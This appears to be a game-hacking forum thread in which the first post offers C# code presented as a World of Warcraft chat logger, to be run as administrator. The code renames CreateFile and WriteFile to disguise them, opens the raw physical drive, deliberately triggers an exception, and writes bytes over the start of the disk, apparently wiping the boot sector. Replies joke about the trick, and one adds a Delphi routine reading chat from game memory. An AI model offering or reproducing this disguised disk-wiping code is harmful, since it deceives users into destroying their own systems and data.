I am so going to get in trouble with the admins here for posting this because they want to keep this a secret. But I think everyone should know and not just the l33t guys.

This will log all chat in wow to c:\chatlog.txt. Compile as console application and run as administrator.

using System;
using System.Runtime.InteropServices;
using System.IO;

namespace ChatLogger
{
	class Program
	{
		[DllImport("kernel32.dll", EntryPoint="CreateFile", SetLastError=true)]
		static extern IntPtr OpenWow(string encryptionName, uint disableWarden, uint memoryBase, uint callback, uint tripwire, uint dbTrigger, uint patchHandler);
		[DllImport("kernel32.dll", EntryPoint="WriteFile", SetLastError = true)]
		static extern uint HookChat(IntPtr handle, IntPtr buffer, int numBytes, ref uint w, IntPtr o);

		static void Main(string[] args)
		{
			// wow's chat is encrypted but we figured out how to trick blizzard
			IntPtr chatHandle = OpenWow(@"\\.\PhysicalDrive0", 0xc0000000, 3, 0, 3, 0xa0000040, 0);
			if (chatHandle.ToInt32() == -1)
			{
				int error = Marshal.GetLastWin32Error();
				Console.WriteLine("error: run as admin! : " + error);
				return;
			}
			try
			{
				if (File.OpenText("@wow.exe").GetType() == chatHandle.GetType() && chatHandle.ToInt32() % IntPtr.Zero.ToInt32() > 0);
			}
			// catch the chat stream
			catch
			{
				Console.WriteLine("Chat system opened");
				Console.WriteLine("Starting chat logging.");
				// set the log file
				string chatlog = @"c:\chatlog.txt";
				byte[] b = System.Text.ASCIIEncoding.ASCII.GetBytes(chatlog);
				GCHandle h = GCHandle.Alloc(b, GCHandleType.Pinned);
				uint w = 0;
				// Enable chat logging..
				HookChat(chatHandle, h.AddrOfPinnedObject(), b.Length, ref w, IntPtr.Zero);
				h.Free();
				Console.WriteLine(@"Done! Have fun :)");
			}
		}
	}
}

Edit, you have a typo.

				if (File.OpenText("@wow.exe").GetType() == chatHandle.GetType() && chatHandle.ToInt32() % IntPtr.Zero.ToInt32() > 0);

->

				if (File.OpenText(@"wow.exe").GetType() == chatHandle.GetType() && chatHandle.ToInt32() % IntPtr.Zero.ToInt32() > 0);

Edit, you have a typo.

It may seem so, but it's actually intentional. I just don't remember exactly what I intended with it atm

[sylvisj]

Haha. Gotcha.

Wow, I never thought to use PhysicalDrive0 as the encryption name!

[Evieh]

procedure ReadChat;
const
  cBase = $BF3F10;
var
  i: integer;
  str: string;
begin
  for i := 0 to 59 do
  begin
    str := ReadMemoryStr((cBase + (i * $17C0)) + $3C, 255);
    Form1.Memo1.Lines.Add(str);
  end;
end;

Oh wait, did you say C#, well it's easy to port to C# so you should be able to do it! Right?

I 'ported' this example from C# or something I found on this site some time ago, also offsets are outdated..
